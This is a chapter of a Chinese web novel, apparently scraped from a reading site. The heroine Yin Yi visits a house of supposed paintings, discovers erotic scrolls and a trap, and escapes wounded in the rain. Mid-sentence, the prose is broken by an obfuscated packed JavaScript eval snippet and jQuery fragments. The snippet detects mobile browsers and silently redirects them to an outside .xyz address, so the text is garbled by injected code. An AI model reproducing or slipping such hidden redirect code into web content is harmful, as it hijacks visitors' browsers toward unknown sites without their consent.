12. 癸卯九月

作品:《纯白不祥

    廊檐下,雨帘如珠串,


    砸在阶下的小水洼,四溅飞散。


    尹逸负手立于廊下,凝着雨帘,微微出神。


    朝廷拾回权柄不过百年,各处衙门急需英杰涌进,是以,纵是家中亲眷故去,请旨夺情也是一件极轻易的事务。


    京中太医医术高超,还有宝灵鉴大法司的丹药可辅人精气,照此思忖,席誉带席母一道入京才应当是上上选……


    “方才的话,不必放在心上。”


    尹逸闻声回眸,见席誉轻缓阖上房门,旋身提步走近,神色淡淡地投来目光,轻声说道:“今日太晚……”


    “难道安成兄无意科考?”尹逸贸然截断了话。


    卢老劝过,席母也劝,竟却换得席誉一句别放在心上?若不放在心上,他又何必苦读数载?凭他的聪明才智,若无心仕途,从事别的营生也早可闯出一番天地。


    尹逸正色看着他,秀气眉头皱起,她想不通,他这番究竟为何?


    猛然对上尹逸近乎质疑的神色,席誉浅淡的瞳眸重重滞了一瞬。


    惊诧过后,他没有回避,反而极轻地勾动了下唇角,静静回望过去,眼眸中笑意晦暗。


    “轻鹤,是在关心我?”


    尹逸被这笑晃了下神。席誉相貌本就出尘,但因性子淡漠,行事低调,平素并不惹眼。眼下乍然勾唇,狭长眼尾竟无端泄出几分妖冶,像是引人往生的鬼面书生。


    尹逸心口一紧,率先移开视线,忽的磕巴起来:“安…安成兄,我只是觉,既有两全法,便不必瞻前顾后,徒然耗费时间。”


    席誉伸手进雨帘,接了几滴雨,沁凉的雨滴砸落掌心飞溅四起,几滴溅在尹逸面上。


    她抬眸,恰望见他线条明朗的侧颜,他静静凝着,似恍若未闻,又似听进了耳朵。


    待尹逸说完,轻轻一颔首,侧目垂眼来看她,浅淡的琥珀色瞳眸闪着星点微不可见的光:“轻鹤也希望,我同你一道入京为官?”


    尹逸眉头极轻地皱了一下,只觉他话中有话,心思迅速盘梭过一阵,却未能捕捉到丝缕头绪,稍缓一下,郑重点下了头。


    尹逸抬眸,诚挚地对上席誉眼眸:“安成兄,以你才情,不入仕为官才是朝廷一大损失。”


    席誉唇边缓缓勾起,笑意一点点浮上面颊,却始终不达眼底。他垂眼凝着尹逸,她干净澄澈的眼眸里,不染一丝尘垢。


    席誉目光停留片刻,掠过她单薄的肩头,轻缓落向坠雨的天井,笑意渐渐淡入唇边。


    “该动身了,藏画主顾,许已等久了……”


    .


    雨势作大,


    天边滚过几道轰隆声。


    一道惊雷落下,电光紧随其后,光影明灭间,青石巷子映出刺目的白。


    风催雨,狂卷过一阵土腥气。


    提灯里,清烛幽然一闪,忽地灭了。


    巷子骤然暗下。


    尹逸脚步缓缓顿住,凝着眼前紧闭的木门,心下生出几分踟蹰。


    “安成兄,可是此处?”


    偏僻巷子尽头的柴扉,门下无阶,廊不盏灯,委实不似他口中可质百两的煊赫人家。


    同一柄纸伞下,席誉缓缓侧目,尹逸正微抬眼眸,四下打量着小院外墙,脖颈弯出好看弧度,白腻又颀长。


    尹逸生得秀气,面庞素净,眼眸清润,身量略低些,此刻白裳玄纱湿了半侧,紧贴肩头,瞧来伶仃单薄。若不言语,倒与闺门女郎无甚分别。


    面若好女,


    人道这是福气……


    席誉不动声色地移开视线,平静道:“若是反悔,便回吧。”


    “并非,只是......你当真曾于此地质出金银赀财?”尹逸摇头,眸子染上疑惑。


    “粗算,约有五百两。”席誉缓缓垂眸,狭长眼眸中眸光静若幽潭。


    尹逸短暂惊诧一瞬,目光抬起,落在席誉面上。


    春闱二月,冬月初时便须得启程。眼下时日已不足两月。临行前,家中涂乱,她委实心安不得,此事真亦好假亦罢,她总是要来探探的。


    尹逸上前半步,迳行叩响门扉。


    许是雨势过大,屋内并未听着,久久未曾应门。


    席誉接过,提衔门环。


    “珰”——“珰珰”


    接二连三,门内木栓终是响起些动静。


    尹逸眸光紧了几分,却听身侧忽而轻缓出声:“一炷香时辰。”


    恰时,木门吱呀一声,露出一窄宽的门缝,里头探出一双浑浊死寂的眼,警惕窥伺一遭后,自内缓缓拉开,露出一道干瘦驼背的身形。


    管事装束的老者立在纸伞下,身后还守着两名身形魁梧的随侍。


    管事目光在二人面前拂扫,苍老沙哑的嗓音响起:“老爷一次只款待一人。”


    尹逸迟疑地看了一眼席誉,席誉却未再看她,垂眸把伞塞进她手心,独自提着灯,缓缓转身走进了雨中。


    “郎官请吧。”老者让开路,欠了欠身,做出请的姿势。


    尹逸上前,目光却不由自主,转过头追着那道身影,雨幕中,席誉脚步缓缓停在墙根,衣衫被打湿浸透,身脊却挺直如松,手中一盏灭掉的纱灯,任风雨奚弄,东南西北各处飘荡。


    孤绝,又萧索。


    两侧随侍低着眼,恭敬上前阖门,沉重木门启合发出乏朽声。


    视野渐渐狭窄。


    尹逸心底无端升起几抹悲凉,直至身子坐进暖厢,指尖仍隐隐发冷。


    为何……他看来满心悲怆?


    不多时,管事弓着背,奉上一盏热茶,死寂的目光在尹逸身上寸寸拂扫,像打量一件精美的物件。


    尹逸被瞧得浑身不自在,下意识双手握紧了杯盏,热源缓缓传过,寒意才渐渐消退。


    “烦问,府上主人可在?”


    “郎君,所求何物?”


    两道问声凭空碰撞,尹逸微怔了怔。


    管事的说完话,忽而沉寂下来,一双阴寒的眼死死定在尹逸面上,紧紧盯着她的唇边。


    尹逸嗓子眼发紧,轻咳一声,清了清嗓:“小子擅工笔,今日来是想亲眼一瞧府上藏画。”


    管事的盯着她的唇边,见她不再开口,缓缓点了点头,“里间便是,郎君可随意。”


    他朝侧厢抬了抬手,尹逸瞧过去,只见里侧帷幔重重,薄纱似雾,隐隐绰绰的遮掩着内里乾坤。


    尹逸满心狐疑,缓缓起身走近。


    侧厢,一幅幅画卷自屋梁垂展而下,薄纱覆于其上,一并悬在半空。


    尹逸抬手,挑起一层薄雾似的帷幔,随意扫过的一眼,却让她身形猛地一僵。


    薄纱瞬间从指缝里滑出,轻轻柔柔再次拂落其上,遮掩住画上的糜乱旖旎。


    尹逸瞳眸重重一颤,匆匆穿梭其中,接连掀开垂落的一幅幅春宫活景……


    山林,水榭旁,暖室,漏光处……更有许多是尹逸见所未见的地界……


    而画上之人,唯二。


    一个,她识得,而另一个,却面目全白,只落了一个轮廓。


    被压在身下那人,双颊坨红,墨发瀑散缠裹着裸露的躯体,脖颈处被一只手掌掐成粉色,琥珀色瞳眸眼尾泛红,已全然失了焦点……


    凌乱的发丝,沾泪轻颤的眼睫,交缠紧绷的腰腹,没有一处不是细致描摹……只有身后之人的脸,突兀的落下一团白雾,无端透出一丝诡谲……


    所谓的人物工笔竟是如此!


    尹逸心中大震,倏地倒退一步,后背竟忽的撞上一堵人形铁墙。


    尹逸猛地回头,院中两名守卫不知何时进了屋,阴着脸,凛然逼视着她。


    尹逸脚下蓦地一软,一下瘫在地上。


    管事的弓着背,从二人之间背着手踱着步慢慢走近,眼皮耷拉下来,盯住她的唇。


    “郎君已看过,眼下该验明正身了。”


    尹逸心中警铃大作,余光暗暗观察,落在身侧虚掩的窗扇上。


    她稳住心神,缓缓站起身,咽了咽:“敢问老人家,画着身后一幅可得多少银子?”


    管事的神色一松,缓缓垂下头:“一卷画少说有五名画师共作,此事不必郎君上心。”


    尹逸眸光一滞,“此画非席安成所作?”


    管事的笑了笑,“席郎君事后总要昏睡几日,哪还能劳累郎君做事。”


    “至于银子,老爷中意郎君许久。郎君若用银子,允老奴打个条子,郎君自去钱庄领便是。万两都不成问题。”


    许久…是什么意思……


    尹逸脸色霎时一白,目光僵滞地扫过面前三人。


    气氛倏而凝滞。


    下一瞬。


    尹逸忽地转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377564|183772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身破窗,一个滚身跃出,谁知,院中早已围有数十名侍卫。


    雨夜里,面色阴寒的守卫按剑而动,迎着雨,步步紧逼,一步一步将她逼入墙角。


    雨珠子拍在面上,刺得眼睛生疼,尹逸浑身颤栗,不知是怕的,还是冷的,抬起袖子胡乱一抹,重重喘着粗气,冷眼一步步倒退。


    尹逸直至前一刻才醒悟,她原是中了计……


    席誉……


    尹逸咬了紧牙关,亏她,还为着他着想!


    “郎君,莫挣扎。伤了你,老爷可是要怪罪的。”


    管事的自门阶步下,信步闲庭地朝她方向走来,身后侍卫随之撑起伞面,围困成圈的侍卫也随之让开一条路。


    尹逸呸出一口雨,紧咬着牙关,“做梦!”


    啊啊——


    尹逸倏地抬眸,不知几时,白羽盘旋当空,嘲哳的叫声在雨夜显得尤为凄厉。


    白羽展翅亮爪,朝向侍卫眼睛猛地一个俯冲,逼得几人抬臂一挡。


    电光火石之间,尹逸伸手一把勾住白羽爪子,瞬间借力蹬住墙壁,连攀带爬猛地蹿上墙头。


    “废物!给我射下来!”


    嗖——


    箭矢应声而出,破风穿云,噗嗤一声,插进白羽胸腔,红色的血四溅而出,飞进尹逸眼睛,混着雨,淌下一行血泪。


    尹逸低眼看着跌进怀中的白羽,大脑一瞬空白,呆滞地眨了眨眼。


    “别让她逃出去!”


    苍老沙哑的嗓音炸响在雨幕中。


    尹逸目光怔然,缓缓偏移至院中,死死定在院中管事面上。


    ——麻脸,鼻侧一颗黑痣,干瘦,驼背,一个会读唇语的聋子。


    她盯着这张脸,咔嚓一声,双手折断插进白羽身体的箭矢,紧接着后背一翻,摔下高墙。


    麻利滚地起身,胸前始终小心翼翼护着白羽,拔腿冲进雨幕。


    .


    几近子夜,夜雨未断。


    大有就此淹没一城之势。


    马蹄笃笃,缓缓踏过一洼积水,泥点四溅飞起。


    轰隆一声,一记雷电劈下,街巷忽地一亮。


    雨地里,竟倒着一人,白裳玄纱,几无生气地泡在一滩积水,身下更源源不断地溢着血水。


    秦衍神色一凛,斗笠微微抬起,眼底极快地闪过一丝冷光,立时警觉地瞧了眼四周,可城街上,了无人迹,唯有雨声残响。


    他静思片刻,缓缓收紧蓑衣襟扣,跨下一夹,马蹄缓缓踏在此人身侧,溅起一滩血水。


    擦身而过时,秦衍不经意垂眸,冷然一瞥,目光忽地一滞——此人脖颈上,挂着一丝细细的红绳,无端让他想起害他往返万溪,白白费神找了几日的笨鸟。


    他猛地攥紧缰绳,勒住马身,利落翻身下马,两步走近矮身蹲下,按着肩头将人一把翻过,赫然露出一张惨白无血的面孔。


    竟当真是她……


    秦衍眸光微凝,当机立断将人提起扔上马背,解下斗笠蓑衣兜头罩下。


    他跨步上马,飞快拍马回府,垂眼时,眉头深拧,“蠢货。”


    尹逸被颠得五脏乱位,意识浮沉中,羽睫簌簌震颤,缓缓睁开了一缝。


    马身飞快掠过朝云巷。


    巷子里,席誉一袭白衣,湿透滴水,手中提着一盏灭掉的纱灯,冤魂似缓步独行夜雨。


    匆匆一眼。


    尹逸羽睫虚乏地眨动两下,最后意识再次沉入黑暗。


    .


    茶水肆,后院。


    潘望仁忧心忡忡地飘回了东厢,坐在榻边望着院外,不知几时,倚着床柱昏昏沉沉地跌进了梦中。


    梦境朦胧,依稀是一道少年身影,站在不远处,意气风发地朝他连连挥手。


    “爹放心,我去去便回!”


    “潘淑莫忧,我去一遭便回!”


    两道身影在梦中缓缓重叠,遥远模糊的记忆渐渐化作尹逸清脆讨喜的嗓音。


    尹逸眉眼弯弯,唇边扬着笑意:“潘淑莫忧,我去一遭便回。”


    潘望仁蓦地惊醒,倏地掀开被子落了地,跑去东厢一摸,榻还是凉的。


    院外轰隆一声炸雷。


    他猛地一激灵,后背忽地惊起一阵阵的寒意。


    想起来了!


    他都想起来了!


    就是这天!